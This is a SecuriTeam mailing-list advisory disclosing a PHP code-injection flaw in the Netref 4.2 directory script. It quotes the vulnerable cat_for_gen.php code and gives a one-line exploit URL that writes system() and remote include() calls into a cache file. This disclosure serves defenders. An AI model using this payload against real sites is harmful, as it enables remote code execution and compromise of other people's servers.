[UNIX] Netref Arbitrary Code Inclusion

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Netref Arbitrary Code Inclusion
------------------------------------------------------------------------


SUMMARY

" <http://www.netref.net/> Netref is a PHP/MySQL-based directory script 
that supports an unlimited number of categories and links. Many fonctions 
to manage the links : Fast search engine with syntax coloring, Edit icon 
of category, Alias sites, Check validity of URL, Possibility to comment 
the sites, Administrator access to edit all data and validate suggested 
links by users, batch processing, etc."

Lack of user input validation in Netref allows remote attackers to run 
malicious PHP code on the vulnerable system.

DETAILS

Vulnerable Systems:
 * Annuaire Netref version 4.2

There is a vulnerability in the handling of input by Netref. Because of 
this, it is possible for a remote user to gain unauthorized access to the 
system using the vulnerable software. More specifically the file 
"script/cat_for_gen.php" does not check the variables $ad, $ad_direct and 
$m_for_racine.

Vulnerable code:
if ($ad==1)
{
        if (!isset($ad_direct))
                $ad_direct=""; // variable appel  que dans certains cas
        $fp=fopen($ad_direct."cache/cat_for.php", "w");
        $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du 
formulaire
        $temp.=">$m_for_racine</OPTION>";
        fwrite ($fp,$temp);
}

The $m_for_racine variable is not initialized and will be written in the 
cache/cat_for.php file, making it possible to inject any PHP command and 
execute them.

Exploit:
http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1 
&ad_direct=../&m_for_racine=</option></SELECT><?php 
sytem($command);include($remote_script)?>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> jaguar.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.